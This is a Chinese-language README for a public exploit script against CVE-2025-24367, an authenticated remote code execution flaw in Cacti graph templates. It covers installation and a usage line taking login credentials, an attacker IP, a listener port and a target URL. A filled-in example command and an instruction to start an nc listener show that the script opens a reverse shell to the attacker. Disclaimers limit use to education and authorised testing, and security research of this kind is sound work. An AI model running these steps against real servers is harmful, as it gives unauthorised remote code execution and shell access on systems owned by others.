CVE-2025-24367 - Cacti 认证图形模板远程代码执行

使用与安全

重要——请先阅读：
本仓库和 exploit.py 仅用于教育和研究目的。请不要将此代码用于未经明确书面授权的系统、网络或服务。未经授权访问计算机系统是违法且不道德的。使用此代码即表示您同意遵守适用的法律和机构政策。

要求

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

使用方法

python3 exploit.py -u <用户名> -p <密码> -i <攻击者IP> -l <监听端口> -url <目标URL> [--proxy]

示例

在运行脚本之前，请确保您已启动 nc 监听器。除非调试，否则不使用代理运行脚本：

python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

非常重要的警告

• 请勿针对生产系统或任何您不拥有或未经明确许可测试的系统运行此脚本。
• 执行安全测试前务必获得书面授权。
• 使用隔离的实验环境（例如虚拟机、容器或专用测试网络）进行试验。
• 您的组织可能有报告和披露政策——请遵守它们。
• 作者不对任何滥用此代码的行为承担责任。

最后提醒： 此脚本和 README 仅供教育用途。切勿使用这些工具非法访问系统。